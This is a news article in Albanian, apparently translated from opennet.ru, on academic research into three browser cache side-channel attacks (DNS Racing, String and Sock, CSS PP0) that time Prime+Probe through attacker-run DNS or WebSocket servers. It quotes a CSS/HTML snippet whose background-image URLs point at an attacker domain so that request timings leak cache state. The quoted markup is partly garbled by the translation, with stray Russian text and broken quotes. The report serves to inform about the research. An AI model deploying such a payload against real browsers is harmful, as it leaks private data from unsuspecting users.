Grupi i studiuesve nga disa universitete amerikane, izraelite dhe australiane zhvilloi tre sulme funksionale në shfletuesit për të nxjerrë informacion në lidhje me përmbajtjen e cache-it të procesorit. Një metodë funksionon në shfletues pa JavaScript, ndërsa dy të tjerat përparojnë mbrojtjet ekzistuese kundër sulmeve përmes kanaleve alternative, përfshirë ato që përdoren në shfletuesin Tor dhe DeterFox. Kodi për demonstruar sulmet, si dhe komponentët serverë të nevojshëm për sulmet, janë publikuar në GitHub.
Për analizën e përmbajtjes së cache-it, të gjitha sulmet përdorin metodën Prime+Probe, që përfshin mbushjen e cache-it me një grup referencash dhe përcaktimin e ndryshimeve përmes matjes së kohës së aksesit gjatë mbushjes së përsëritur. Për të anashkaluar mekanizmat e mbrojtjes në shfletues që pengojnë matjen e saktë të kohës, në dy variante bëhet thirrje në një server DNS ose WebSocket të kontrolluar nga sulmuesi, ku mbahen regjistrat e kohës së mbërritjes së kërkesave. Në një variant, koha e fiksuar e përgjigjes DNS përdoret si standard i kohës.
Masa i kryer nga serverat e jashtëm DNS ose WebSocket, falë përdorimit të një sistemi klasifikimi të bazuar në mësimin e makinerive, doli të ishte e mjaftueshme për të parashikuar vlerat me saktësi deri në 98% në skenarin më optimal (në mesatarisht 80-90%). Metodat e sulmit janë testuar në platforma të ndryshme harduerike (Intel, AMD Ryzen, Apple M1, Samsung Exynos) dhe kanë treguar veten si universale.

Në variantin e parë të sulmit 'DNS Racing', përdoret një implementim klasik i metodës Prime+Probe, duke përdorur tabelat JavaScript. Dallimet reduktohen në përdorimin e një timer-i të jashtëm të bazuar në DNS dhe një menaxher onerror, që aktivizohet kur përpiqeni të ngarkoni një imazh nga një domain i pafund. Timer-i i jashtëm lejon realizimin e sulmit Prime+Probe në shfletuesit që kufizojnë ose plotësisht çaktivizojnë qasjen në timer-at JavaScript.
Për një server DNS, i vendosur në të njëjtën rrjet Ethernet, saktësia e timer-it vlerësohet të jetë rreth 2 ms, e cila është e mjaftueshme për të kryer një sulm përmes kanaleve të jashtme (për krahasim, saktësia e timer-it standard të JavaScript në Tor Browser është ulur në 100 ms). Për sulmin, nuk kërkohet kontrolle mbi serverin DNS, pasi koha e realizimit të operacionit përshtatet në mënyrë që koha e përgjigjes nga DNS të shërbejë si një tregues i përfundimit të mëparshëm të verifikimit (varësisht nga se a është aktivizuesi onerror më herët apo më vonë, fillohet një përfundim mbi shpejtësinë e realizimit të operacionit të verifikimit me cache).
Metoda e dytë e sulmit "String and Sock" synon të anashkalojë metodat e mbrojtjes që kufizojnë përdorimin në nivel të ulët të array-ve në JavaScript. Në vend të array-ve, "String and Sock" përdor operacione me stringje shumë të mëdha, madhësia e të cilave zgjidhet në mënyrë që variabla të mbulojë të gjithë cache-n LLC (Last Level Cache). Më pas, me ndihmën e funksionit indexOf(), në string kërkohet një substring e vogël që fillimisht nuk është e pranishme në stringun origjinal, dmth, operacioni i kërkimit çon në skanimin e tërë stringut. Duke qenë se madhësia e stringut përputhet me madhësinë e cache-it LLC, skanimi lejon të kryhet një operacion kontrolli të cache-it pa manipuluar me array. Për të matur vonesat, në vend të DNS, bëhet thirrje në një server WebSocket të kontrolluar nga sulmuesi — para fillimit dhe pas përfundimit të operacionit të kërkimit në string dërgohen kërkesa, mbi bazën e të cilave serveri matet vonesa që përdoret për analizimin e përmbajtjes së cache-it.
Opcioni i tretë i sulmit "CSS PP0" implementohet përmes HTML dhe CSS, dhe mund të funksionojë në shfletuesat me JavaScript të çaktivizuar. Metoda përngjan me "String and Sock", por nuk është e lidhur me JavaScript. Gjatë sulmit krijohet një grup selektorësh CSS që realizojnë kërkimin sipas një modeli. Një varg i madh fillestar, që mbush cache-in, përcaktohet duke krijuar një etiketë div me një emër klase shumë të gjatë. Brenda saj vendoset një grup div-esh të tjerë me identifikues të tyre. Për secilin nga këta divë të brendshëm përcaktohet stili i tij me selektorin që realizon kërkimin për nënstringa. Gjatë renderimit të faqes, shfletuesi fillimisht përpiqet të përpunojë div-ët e brendshëm, çka çon në kryerjen e operacionit të kërkimit në vargun e madh. Kërkimi bëhet sipas një modeli që dihet se mungon dhe çon në përshkimin e tërë vargut, pas të cilit ecuria "not" aktivizohet dhe bëhet një përpjekje për të ngarkuar një imazh të prapavijës, që i referohet rastësisht. domainet: <style> #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … </style> <div id="»pp»" class="»строка," размером около мегабайта»> <div id="»s0″">X</div> <div id="»s1″">X</div> … </div>
Subdomainet trajtohen në serverin DNS të agresorit, i cili mund të masë vonesat në marrjen e kërkesave. Për çdo kërkesë, serveri DNS lëshon NXDOMAIN dhe mban një regjistër të saktë të kohës së kërkesave. Si rezultat i përpunimit të një grupi div-esh, serverit DNS të agresorit i dërgohet një seri kërkesash, me vonesat midis të cilave korrelacionohet me rezultatin e kontrollit të përmbajtjes së caches.

Burimi: opennet.ru
